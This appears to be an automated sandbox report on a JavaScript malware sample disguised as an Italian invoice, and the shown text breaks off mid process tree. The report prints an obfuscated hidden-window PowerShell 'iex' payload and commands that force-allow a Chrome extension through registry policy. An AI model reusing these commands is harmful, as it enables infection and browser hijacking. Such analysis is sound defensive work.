b11ef9f11c9bb6228582f38a61f4c04dc7160939d8c5b7ee4e467ffde6317f02

Analysis

max time kernel
148s
max time network
122s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260617-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260617-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
22/06/2026, 09:42

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Fattura-2819889242.pfd.js
Size 3.2MB
Sample260622-lpvejsbt3y
SHA256 b11ef9f11c9bb6228582f38a61f4c04dc7160939d8c5b7ee4e467ffde6317f02
MD5 61f07213f2e54c54ec379714fd211c73
SHA1 d7a2361877b9cd1f4b6ef56f59fb7adec72cc945
SHA512 ae63a3f846a4d231a7670dc7dc77f3ef06d6a7c922b5f18543def8f1cb69564a0786f54b46d44e11271c95745a078ffec781dbd3109d192aef84206634279884
SSDEEP 1536:q9JvTzvmtoPynl1yZsHScMDyDifFQmoMpicsW0LuWVQEyOeaA+npzyyC63C7BFlX:y
TLSH
T1C7F534A30351176BE2C109E69188312765F6DD273C6D20AEFB83A8E7FC7D9868478771
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

discovery execution persistence ransomware

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5800	powershell.exe
6028	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
3020	client_124578.exe

Loads dropped DLL 1 IoCs

pid	Process
3020	client_124578.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SystemTemp	chrome.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	client_124578.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
5048	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134265949959257829"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{088e3905-0323-4b02-9826-5d99428e115f}\Instance\	chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	chrome.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
5800	powershell.exe
5800	powershell.exe
5800	powershell.exe
5800	powershell.exe
5800	powershell.exe
6028	powershell.exe
6028	powershell.exe
5800	powershell.exe
2108	chrome.exe
2108	chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 19 IoCs

pid	Process
2108	chrome.exe
2108	chrome.exe
2108	chrome.exe
2108	chrome.exe
2108	chrome.exe
2108	chrome.exe
2108	chrome.exe
2108	chrome.exe
2108	chrome.exe
2108	chrome.exe
2108	chrome.exe
2108	chrome.exe
2108	chrome.exe
2108	chrome.exe
2108	chrome.exe
2108	chrome.exe
2108	chrome.exe
2108	chrome.exe
2108	chrome.exe

Suspicious use of AdjustPrivilegeToken 40 IoCs

description	pid	Process
Token: SeDebugPrivilege	5800	powershell.exe
Token: SeDebugPrivilege	6028	powershell.exe
Token: SeShutdownPrivilege	2108	chrome.exe
Token: SeCreatePagefilePrivilege	2108	chrome.exe
Token: SeShutdownPrivilege	2108	chrome.exe
Token: SeCreatePagefilePrivilege	2108	chrome.exe
Token: SeShutdownPrivilege	2108	chrome.exe
Token: SeCreatePagefilePrivilege	2108	chrome.exe
Token: SeShutdownPrivilege	2108	chrome.exe
Token: SeCreatePagefilePrivilege	2108	chrome.exe
Token: SeShutdownPrivilege	2108	chrome.exe
Token: SeCreatePagefilePrivilege	2108	chrome.exe
Token: SeShutdownPrivilege	2108	chrome.exe
Token: SeCreatePagefilePrivilege	2108	chrome.exe
Token: SeShutdownPrivilege	2108	chrome.exe
Token: SeCreatePagefilePrivilege	2108	chrome.exe
Token: SeShutdownPrivilege	2108	chrome.exe
Token: SeCreatePagefilePrivilege	2108	chrome.exe
Token: SeShutdownPrivilege	2108	chrome.exe
Token: SeCreatePagefilePrivilege	2108	chrome.exe
Token: SeShutdownPrivilege	2108	chrome.exe
Token: SeCreatePagefilePrivilege	2108	chrome.exe
Token: SeShutdownPrivilege	2108	chrome.exe
Token: SeCreatePagefilePrivilege	2108	chrome.exe
Token: SeShutdownPrivilege	2108	chrome.exe
Token: SeCreatePagefilePrivilege	2108	chrome.exe
Token: SeShutdownPrivilege	2108	chrome.exe
Token: SeCreatePagefilePrivilege	2108	chrome.exe
Token: SeShutdownPrivilege	2108	chrome.exe
Token: SeCreatePagefilePrivilege	2108	chrome.exe
Token: SeShutdownPrivilege	2108	chrome.exe
Token: SeCreatePagefilePrivilege	2108	chrome.exe
Token: SeShutdownPrivilege	2108	chrome.exe
Token: SeCreatePagefilePrivilege	2108	chrome.exe
Token: SeShutdownPrivilege	2108	chrome.exe
Token: SeCreatePagefilePrivilege	2108	chrome.exe
Token: SeShutdownPrivilege	2108	chrome.exe
Token: SeCreatePagefilePrivilege	2108	chrome.exe
Token: SeShutdownPrivilege	2108	chrome.exe
Token: SeCreatePagefilePrivilege	2108	chrome.exe

Suspicious use of FindShellTrayWindow 47 IoCs

pid	Process
2108	chrome.exe
2108	chrome.exe
2108	chrome.exe
2108	chrome.exe
2108	chrome.exe
2108	chrome.exe
2108	chrome.exe
2108	chrome.exe
2108	chrome.exe
2108	chrome.exe
2108	chrome.exe
2108	chrome.exe
2108	chrome.exe
2108	chrome.exe
2108	chrome.exe
2108	chrome.exe
2108	chrome.exe
2108	chrome.exe
2108	chrome.exe
2108	chrome.exe
2108	chrome.exe
2108	chrome.exe
2108	chrome.exe
2108	chrome.exe
2108	chrome.exe
2108	chrome.exe
2108	chrome.exe
2108	chrome.exe
2108	chrome.exe
2108	chrome.exe
2108	chrome.exe
2108	chrome.exe
2108	chrome.exe
2108	chrome.exe
2108	chrome.exe
2108	chrome.exe
2108	chrome.exe
2108	chrome.exe
2108	chrome.exe
2108	chrome.exe
2108	chrome.exe
2108	chrome.exe
2108	chrome.exe
2108	chrome.exe
2108	chrome.exe
2108	chrome.exe
2108	chrome.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
2108	chrome.exe
2108	chrome.exe
2108	chrome.exe
2108	chrome.exe
2108	chrome.exe
2108	chrome.exe
2108	chrome.exe
2108	chrome.exe
2108	chrome.exe
2108	chrome.exe
2108	chrome.exe
2108	chrome.exe
2108	chrome.exe
2108	chrome.exe
2108	chrome.exe
2108	chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2884 wrote to memory of 3020	2884	wscript.exe	88
PID 3020 wrote to memory of 5800	3020	client_124578.exe	89
PID 5800 wrote to memory of 568	5800	powershell.exe	91
PID 568 wrote to memory of 2904	568	csc.exe	92
PID 5800 wrote to memory of 6028	5800	powershell.exe	93
PID 5800 wrote to memory of 2108	5800	powershell.exe	95
PID 2108 wrote to memory of 5696	2108	chrome.exe	96
PID 2108 wrote to memory of 2824	2108	chrome.exe	97
PID 2108 wrote to memory of 2824	2108	chrome.exe	97
PID 2108 wrote to memory of 5048	2108	chrome.exe	98
PID 2108 wrote to memory of 5948	2108	chrome.exe	99
PID 2108 wrote to memory of 5948	2108	chrome.exe	99
PID 2108 wrote to memory of 5368	2108	chrome.exe	100
PID 2108 wrote to memory of 2320	2108	chrome.exe	101
PID 2108 wrote to memory of 5368	2108	chrome.exe	100
PID 2108 wrote to memory of 2320	2108	chrome.exe	101
PID 2108 wrote to memory of 692	2108	chrome.exe	103
PID 2108 wrote to memory of 692	2108	chrome.exe	103
PID 2108 wrote to memory of 3452	2108	chrome.exe	104
PID 2108 wrote to memory of 5176	2108	chrome.exe	105
PID 2108 wrote to memory of 5176	2108	chrome.exe	105
PID 2108 wrote to memory of 5700	2108	chrome.exe	106
PID 2108 wrote to memory of 5700	2108	chrome.exe	106
PID 2108 wrote to memory of 3800	2108	chrome.exe	127
PID 2108 wrote to memory of 1856	2108	chrome.exe	108
PID 2108 wrote to memory of 1856	2108	chrome.exe	108
PID 2108 wrote to memory of 5984	2108	chrome.exe	109
PID 2108 wrote to memory of 5984	2108	chrome.exe	109
PID 2108 wrote to memory of 5496	2108	chrome.exe	110
PID 2108 wrote to memory of 5496	2108	chrome.exe	110
PID 2108 wrote to memory of 2292	2108	chrome.exe	114
PID 2108 wrote to memory of 5280	2108	chrome.exe	116
PID 2108 wrote to memory of 484	2108	chrome.exe	115
PID 2108 wrote to memory of 2292	2108	chrome.exe	114
PID 2108 wrote to memory of 5280	2108	chrome.exe	116
PID 2108 wrote to memory of 5056	2108	chrome.exe	117
PID 2108 wrote to memory of 484	2108	chrome.exe	115
PID 2108 wrote to memory of 5056	2108	chrome.exe	117
PID 2108 wrote to memory of 1272	2108	chrome.exe	118
PID 2108 wrote to memory of 1272	2108	chrome.exe	118
PID 2108 wrote to memory of 2768	2108	chrome.exe	119
PID 2108 wrote to memory of 2436	2108	chrome.exe	120
PID 2108 wrote to memory of 1968	2108	chrome.exe	121
PID 2108 wrote to memory of 696	2108	chrome.exe	123
PID 2108 wrote to memory of 2768	2108	chrome.exe	119
PID 2108 wrote to memory of 4876	2108	chrome.exe	124
PID 2108 wrote to memory of 5932	2108	chrome.exe	122
PID 2108 wrote to memory of 2436	2108	chrome.exe	120
PID 2108 wrote to memory of 1968	2108	chrome.exe	121
PID 2108 wrote to memory of 696	2108	chrome.exe	123
PID 2108 wrote to memory of 4876	2108	chrome.exe	124
PID 2108 wrote to memory of 5932	2108	chrome.exe	122
PID 2108 wrote to memory of 4560	2108	chrome.exe	125
PID 2108 wrote to memory of 4560	2108	chrome.exe	125
PID 2108 wrote to memory of 5992	2108	chrome.exe	126
PID 2108 wrote to memory of 5992	2108	chrome.exe	126
PID 2108 wrote to memory of 3800	2108	chrome.exe	127
PID 2108 wrote to memory of 3800	2108	chrome.exe	127
PID 2108 wrote to memory of 5816	2108	chrome.exe	128
PID 2108 wrote to memory of 5816	2108	chrome.exe	128
PID 2108 wrote to memory of 4948	2108	chrome.exe	129
PID 2108 wrote to memory of 4948	2108	chrome.exe	129
PID 2108 wrote to memory of 5468	2108	chrome.exe	130
PID 2108 wrote to memory of 5468	2108	chrome.exe	130

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Fattura-2819889242.pfd.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2884
- C:\Users\Admin\AppData\Local\Temp\client_124578.exe
  C:\Users\Admin\AppData\Local\Temp\client_124578.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3020
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -c "iex([char[]]((110-8),(125-8),(114-4),(106-7),(125-9),(111-6),(112-1),(119-9),(39-7),(119-1),(127-5),(104-5),(104-7),(102-5),(119-5),(129-9),(109-2),(97-7),(105-8),(40-8),(125-2),(39-7),(116-4),(105-8),(119-5),(102-5),(117-8),(39-7),(41-1),(100-9),(118-3),(120-4),(118-4),(111-6),(114-4),(109-6),(102-9),(37-1),(118-3),(121-5),(117-3),(51-7),(100-9),(119-4),(118-2),(117-3),(114-9),(114-4),(106-3),(99-6),(37-1),(83-8),(107-6),(130-9),(48-7),(63-4),(42-6),(72-6),(122-1),(124-8),(104-3),(66-1),(120-6),(119-5),(102-5),(123-2),(37-5),(62-1),(37-5),(94-3),(86-3),(122-1),(123-8),(117-1),(108-7),(118-9),(51-5),(71-4),(113-2),(116-6),(123-5),(103-2),(121-7),(119-3),(94-1),(67-9),(60-2),(79-9),(122-8),(120-9),(112-3),(75-9),(98-1),(116-1),(106-5),(57-3),(58-6),(87-4),(119-3),(118-4),(107-2),(112-2),(112-9),(42-2),(43-7),(118-3),(122-6),(117-3),(49-8),(61-2),(42-6),(110-3),(108-7),(124-3),(75-9),(122-1),(119-3),(102-1),(120-5),(39-7),(62-1),(33-1),(99-8),(88-5),(130-9),(120-5),(118-2),(109-8),(112-3),(55-9),(86-2),(108-7),(126-6),(118-2),(47-1),(72-3),(115-5),(106-7),(120-9),(103-3),(113-8),(114-4),(109-6),(100-7),(64-6),(64-6),(86-1),(93-9),(75-5),(61-5),(47-1),(73-2),(103-2),(117-1),(69-3),(125-4),(125-9),(108-7),(119-4),(47-7),(94-3),(84-1),(126-5),(116-1),(120-4),(110-9),(114-5),(50-4),(69-3),(110-5),(121-5),(73-6),(113-2),(113-3),(124-6),(105-4),(117-3),(123-7),(108-7),(120-6),(100-7),(62-4),(62-4),(92-8),(120-9),(86-3),(121-5),(120-6),(107-2),(119-9),(109-6),(45-5),(95-4),(85-2),(125-4),(121-6),(124-8),(105-4),(112-3),(50-4),(92-9),(104-3),(108-9),(122-5),(119-5),(106-1),(125-9),(123-2),(50-4),(76-9),(122-8),(124-3),(118-6),(121-5),(118-7),(107-4),(115-1),(98-1),(117-5),(108-4),(122-1),(52-6),(77-5),(105-8),(117-2),(106-2),(69-4),(110-2),(105-2),(115-4),(119-5),(114-9),(122-6),(108-4),(115-6),(100-7),(59-1),(66-8),(72-5),(121-7),(105-4),(100-3),(123-7),(110-9),(47-7),(40-6),(79-2),(75-7),(56-3),(41-7),(43-2),(49-3),(75-8),(118-7),(113-4),(118-6),(124-7),(118-2),(106-5),(75-3),(103-6),(117-2),(107-3),(42-2),(99-8),(90-7),(126-5),(122-7),(118-2),(106-5),(112-3),(47-1),(86-2),(105-4),(124-4),(125-9),(53-7),(72-3),(113-3),(100-1),(116-5),(103-3),(108-3),(116-6),(111-8),(94-1),(67-9),(65-7),(91-6),(85-1),(76-6),(57-1),(51-5),(74-3),(110-9),(118-2),(71-5),(127-6),(118-2),(107-6),(124-9),(45-5),(38-2),(115-8),(103-2),(130-9),(48-7),(42-1),(44-3),(53-8),(117-3),(103-2),(121-9),(109-1),(106-9),(108-9),(110-9),(35-1),(50-5),(41-7),(42-1),(62-3),(43-7),(108-1),(115-7),(70-9),(42-6),(109-2),(104-3),(126-5),(71-5),(124-3),(125-9),(102-1),(124-9),(53-7),(72-5),(118-7),(121-4),(118-8),(120-4),(61-2),(38-2),(115-1),(102-1),(121-6),(122-5),(116-8),(118-2),(36-4),(65-4),(37-5),(87-9),(102-1),(127-8),(47-2),(85-6),(101-3),(114-8),(108-7),(106-7),(120-4),(39-7),(70-4),(129-8),(125-9),(109-8),(96-5),(101-8),(39-7),(38-2),(74-8),(128-7),(119-3),(109-8),(67-2),(117-3),(121-7),(101-4),(122-1),(50-4),(71-4),(119-8),(119-2),(118-8),(124-8),(68-9),(107-5),(112-1),(123-9),(33-1),(47-7),(45-9),(114-9),(36-4),(67-6),(34-2),(52-4),(63-4),(34-2),(43-7),(111-6),(37-5),(49-4),(117-9),(117-1),(39-7),(39-3),(67-1),(122-1),(123-7),(104-3),(72-7),(117-3),(119-5),(106-9),(127-6),(54-8),(70-3),(112-1),(119-2),(116-6),(118-2),(67-8),(41-9),(41-5),(112-7),(48-5),(44-1),(46-5),(39-7),(125-2),(33-1),(39-3),(122-8),(109-8),(116-1),(121-4),(112-4),(124-8),(98-7),(42-6),(110-5),(97-4),(41-9),(66-5),(40-8),(38-2),(70-4),(123-2),(120-4),(108-7),(72-7),(120-6),(120-6),(106-9),(123-2),(94-3),(37-1),(108-3),(101-8),(37-5),(52-7),(103-5),(121-1),(119-8),(121-7),(38-6),(45-9),(108-1),(103-2),(122-1),(71-5),(123-2),(119-3),(105-4),(120-5),(95-4),(44-8),(113-8),(38-6),(38-1),(39-7),(42-6),(114-7),(111-3),(102-9),(66-7),(129-4),(64-5),(122-8),(103-2),(117-1),(126-9),(120-6),(117-7),(37-5),(44-8),(118-4),(108-7),(124-9),(121-4),(114-6),(117-1),(61-2),(126-1),(63-4),(45-9),(116-9),(69-8),(40-6),(52-3),(52-2),(53-1),(54-1),(63-8),(57-1),(36-2),(65-6),(41-5),(100-3),(63-2),(44-4),(46-6),(78-7),(106-5),(117-1),(53-8),(73-6),(120-9),(118-8),(121-5),(109-8),(113-3),(125-9),(40-8),(53-8),(86-6),(100-3),(125-9),(110-6),(36-4),(49-9),(47-7),(80-9),(105-4),(118-2),(51-6),(76-9),(106-2),(107-2),(110-2),(109-9),(79-6),(123-7),(107-6),(113-4),(38-6),(51-6),(73-5),(106-5),(117-5),(124-8),(111-7),(38-6),(58-9),(36-4),(53-8),(73-3),(110-5),(111-3),(118-2),(105-4),(123-9),(41-9),(38-4),(109-9),(56-5),(104-4),(54-5),(55-6),(49-3),(107-7),(114-6),(111-3),(36-2),(37-5),(54-9),(73-3),(114-9),(116-8),(106-5),(49-8),(55-9),(74-4),(122-5),(113-5),(109-1),(87-9),(99-2),(111-2),(107-6),(45-4),(37-5),(49-4),(88-6),(104-7),(126-7),(50-9),(36-4),(51-6),(120-5),(116-4),(116-8),(110-5),(125-9),(40-8),(38-2),(111-4),(49-8),(92-1),(56-7),(98-5),(64-5),(37-1),(114-8),(113-7),(64-3),(43-3),(44-4),(76-5),(109-8),(117-1),(53-8),(81-1),(121-7),(114-3),(108-9),(104-3),(118-3),(119-4),(41-9),(41-7),(51-9),(39-3),(114-7),(47-5),(38-4),(50-9),(100-9),(51-3),(95-2),(51-5),(87-7),(122-8),(112-1),(105-6),(109-8),(124-9),(119-4),(84-6),(103-6),(113-4),(104-3),(42-1),(50-7),(41-7),(57-8),(53-3),(57-5),(54-1),(63-8),(64-8),(39-5),(65-6),(42-6),(107-9),(66-5),(94-3),(90-7),(129-8),(121-6),(120-4),(106-5),(118-9),(53-7),(86-2),(105-4),(121-1),(122-6),(53-7),(71-2),(115-5),(105-6),(116-5),(105-5),(113-8),(112-2),(104-1),(94-1),(59-1),(61-3),(90-5),(87-3),(73-3),(60-4),(47-1),(77-6),(102-1),(118-2),(91-8),(117-1),(118-4),(108-3),(117-7),(108-5),(45-5),(43-3),(126-8),(129-7),(108-9),(103-6),(103-6),(121-7),(129-9),(112-5),(95-5),(105-8),(36-4),(54-9),(124-9),(121-5),(118-4),(40-8),(38-2),(99-2),(34-2),(54-9),(112-5),(103-2),(129-8),(38-6),(41-5),(110-4),(108-2),(45-4),(48-7),(67-8),(113-8),(103-2),(123-3),(37-5),(38-2),(106-8),(61-2),(86-3),(122-6),(99-2),(120-6),(120-4),(47-2),(85-2),(109-1),(108-7),(103-2),(121-9),(39-7),(54-9),(79-2),(111-6),(114-6),(113-5),(113-8),(124-9),(109-8),(102-3),(120-9),(111-1),(104-4),(122-7),(33-1),(58-7),(51-3),(53-5),(65-6))-join'')"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:5800
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\n0mnzwu3\n0mnzwu3.cmdline"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:568
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES1CF4.tmp" "c:\Users\Admin\AppData\Local\Temp\n0mnzwu3\CSCFC53AD12330D4B8CBEA4EDED7F8380B6.TMP"
        5⤵
        
        PID:2904
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "New-Item HKCU:\SOFTWARE\Policies\Google\Chrome\ExtensionInstallAllowlist -Force -ErrorAction Ignore;New-Item HKCU:\SOFTWARE\Policies\Google\Chrome\ExtensionInstallSources -Force -ErrorAction Ignore;Set-ItemProperty HKCU:\SOFTWARE\Policies\Google\Chrome\ExtensionInstallAllowlist '1' 'gghagmhimhgfeajfdmjkgmmehbokmglg' -Force -ErrorAction Ignore;Set-ItemProperty HKCU:\SOFTWARE\Policies\Google\Chrome\ExtensionInstallSources '1' 'http://localhost:8080/*' -Force -ErrorAction Ignore;"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:6028
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --args --app=http://localhost:8080/CloudFlareTesting http://localhost:8080/CloudFlareTesting
      4⤵
      Drops file in Windows directory
      Enumerates system info in registry
      Modifies data under HKEY_USERS
      Modifies registry class
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      Suspicious use of WriteProcessMemory
      PID:2108
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0xa8,0x134,0x7ffa4780c728,0x7ffa4780c734,0x7ffa4780c740
        5⤵
        
        PID:5696
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1728,i,12158054832244949015,3963726460382306631,262144 --field-trial-handle=1936,i,6161197368046528,10488413359882046581,262144 --variations-seed-version --mojo-platform-channel-handle=1928 /prefetch:2
        5⤵
        
        PID:2824
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1532,i,14480595685574760920,13393828390178323789,524288 --field-trial-handle=1936,i,6161197368046528,10488413359882046581,262144 --variations-seed-version --mojo-platform-channel-handle=2196 /prefetch:11
        5⤵
        System Time Discovery
        
        PID:5048
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2324,i,17157595006281187591,9638729992376792775,524288 --field-trial-handle=1936,i,6161197368046528,10488413359882046581,262144 --variations-seed-version --mojo-platform-channel-handle=2336 /prefetch:13
        5⤵
        
        PID:5948
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3228,i,1154116014341348044,16645242470328377189,2097152 --field-trial-handle=1936,i,6161197368046528,10488413359882046581,262144 --variations-seed-version --mojo-platform-channel-handle=3308 /prefetch:1
        5⤵
        
        PID:5368
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3232,i,4049864888657555322,14219038808317819483,2097152 --field-trial-handle=1936,i,6161197368046528,10488413359882046581,262144 --variations-seed-version --mojo-platform-channel-handle=3328 /prefetch:1
        5⤵
        
        PID:2320
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4676,i,6108171160328909324,1821651676179602490,524288 --field-trial-handle=1936,i,6161197368046528,10488413359882046581,262144 --variations-seed-version --mojo-platform-channel-handle=4692 /prefetch:14
        5⤵
        
        PID:692
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=4768,i,5399306236386595887,10678264085463481309,524288 --field-trial-handle=1936,i,6161197368046528,10488413359882046581,262144 --variations-seed-version --mojo-platform-channel-handle=4996 /prefetch:14
        5⤵
        
        PID:3452
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5468,i,2918145653888182979,15076311481796797792,524288 --field-trial-handle=1936,i,6161197368046528,10488413359882046581,262144 --variations-seed-version --mojo-platform-channel-handle=5460 /prefetch:14
        5⤵
        
        PID:5176
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5456,i,15742432763779300779,6138326754390119912,524288 --field-trial-handle=1936,i,6161197368046528,10488413359882046581,262144 --variations-seed-version --mojo-platform-channel-handle=5632 /prefetch:14
        5⤵
        
        PID:5700
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5644,i,14853788925526212202,1133639179484515711,524288 --field-trial-handle=1936,i,6161197368046528,10488413359882046581,262144 --variations-seed-version --mojo-platform-channel-handle=5720 /prefetch:14
        5⤵
        
        PID:3800
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
